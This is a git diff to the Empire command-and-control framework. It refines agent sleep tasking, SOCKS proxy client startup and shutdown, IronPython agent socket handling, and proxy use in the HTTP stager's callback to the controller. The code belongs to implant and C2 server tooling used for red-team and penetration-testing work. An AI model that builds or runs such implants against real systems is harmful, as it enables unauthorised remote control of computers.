diff --git a/empire/client/src/menus/InteractMenu.py b/empire/client/src/menus/InteractMenu.py
index 6546b369c..0f988e049 100644
--- a/empire/client/src/menus/InteractMenu.py
+++ b/empire/client/src/menus/InteractMenu.py
@@ -293,7 +293,13 @@ def sleep(self, delay: int, jitter: int) -> None:
         """
         response = state.agent_sleep(self.session_id, delay, jitter)
         log.info(f"Tasked agent to sleep delay/jitter {delay}/{jitter}")
-        log.info("Tasked " + self.selected + " to run Task " + str(response["id"]))
+        if "id" in response:
+            log.info(
+                "[*] Tasked " + self.session_id + " to run Task " + str(response["id"])
+            )
+
+        elif "detail" in response.keys():
+            log.error("[!] Error: " + response["detail"])
 
     @command
     def info(self) -> None:
diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py
index 28f69f1be..ef10e527f 100644
--- a/empire/server/core/agent_service.py
+++ b/empire/server/core/agent_service.py
@@ -5,7 +5,7 @@
 from sqlalchemy.orm import Session
 
 from empire.server.common.helpers import KThread
-from empire.server.common.socks import start_client
+from empire.server.common.socks import create_client, start_client
 from empire.server.core.agent_task_service import AgentTaskService
 from empire.server.core.db import models
 from empire.server.core.db.base import SessionLocal
@@ -63,16 +63,17 @@ def start_existing_socks(self, db: Session, agent: models.Agent):
         log.info(f"Starting SOCKS client for {agent.session_id}")
         try:
             self.main_menu.agents.socksqueue[agent.session_id] = queue.Queue()
+            client = create_client(
+                self.main_menu,
+                self.main_menu.agents.socksqueue[agent.session_id],
+                agent.session_id,
+            )
             self.main_menu.agents.socksthread[agent.session_id] = KThread(
                 target=start_client,
-                args=(
-                    self.main_menu.agenttasksv2,
-                    self.main_menu.agents.socksqueue[agent.session_id],
-                    agent.session_id,
-                    agent.socks_port,
-                ),
+                args=(client, agent.socks_port),
             )
 
+            self.main_menu.agents.socksclient[agent.session_id] = client
             self.main_menu.agents.socksthread[agent.session_id].daemon = True
             self.main_menu.agents.socksthread[agent.session_id].start()
             log.info(f'SOCKS client for "{agent.name}" successfully started')
diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py
index c93f83ff7..5888b8b64 100644
--- a/empire/server/core/agent_task_service.py
+++ b/empire/server/core/agent_task_service.py
@@ -1,6 +1,7 @@
 import json
 import logging
 import threading
+import time
 from collections import defaultdict
 from datetime import datetime
 from typing import Dict, List, Optional, Tuple
@@ -185,6 +186,12 @@ def create_task_exit(self, db, agent: models.Agent, current_user_id: int):
         resp, err = self.add_task(db, agent, "TASK_EXIT", user_id=current_user_id)
         agent.archived = True
 
+        # Close socks client
+        if (agent.session_id in self.main_menu.agents.socksthread) and agent.stale:
+            agent.socks = False
+            self.main_menu.agents.socksclient[agent.session_id].shutdown()
+            time.sleep(1)
+            self.main_menu.agents.socksthread[agent.session_id].kill()
         return resp, err
 
     def create_task_socks(
@@ -235,7 +242,7 @@ def create_task_update_sleep(
                 f"Set-Delay {str(delay)} {str(jitter)}",
                 user_id=user_id,
             )
-        elif agent.language == "python":
+        elif agent.language in ["python", "ironpython"]:
             return self.add_task(
                 db,
                 agent,
diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip b/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip
index 96c04b0ff..ad602c4c5 100644
Binary files a/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip and b/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip differ
diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py
index b67e295e7..a0f1d8a4a 100644
--- a/empire/server/data/agent/ironpython_agent.py
+++ b/empire/server/data/agent/ironpython_agent.py
@@ -257,7 +257,6 @@ def process_tasking(data):
 
     except Exception as e:
         print(e)
-        # print "processTasking exception:",e
         pass
 
 
@@ -1006,7 +1005,7 @@ def recv(self):
     def write(self):
         while self.alive:
             try:
-                data = self.writebuf.get(timeout=3)
+                data = self.writebuf.get(timeout=10)
                 send_message(
                     build_response_packet(
                         61, base64.b64encode(data).decode("UTF-8"), self.resultID
@@ -1014,6 +1013,8 @@ def write(self):
                 )
             except Queue.Empty:
                 continue
+            except:
+                self.alive = False
 
 
 ################################################
diff --git a/empire/server/data/agent/stagers/http/comms.py b/empire/server/data/agent/stagers/http/comms.py
index e49eb0413..917f589df 100644
--- a/empire/server/data/agent/stagers/http/comms.py
+++ b/empire/server/data/agent/stagers/http/comms.py
@@ -33,7 +33,8 @@ def send_message(packets=None):
     requestUri = server + taskURI
 
     try:
-        wrapmodule(urllib.request)
+        if proxy_list:
+            wrapmodule(urllib.request)
         data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, headers))).read()
         return ('200', data)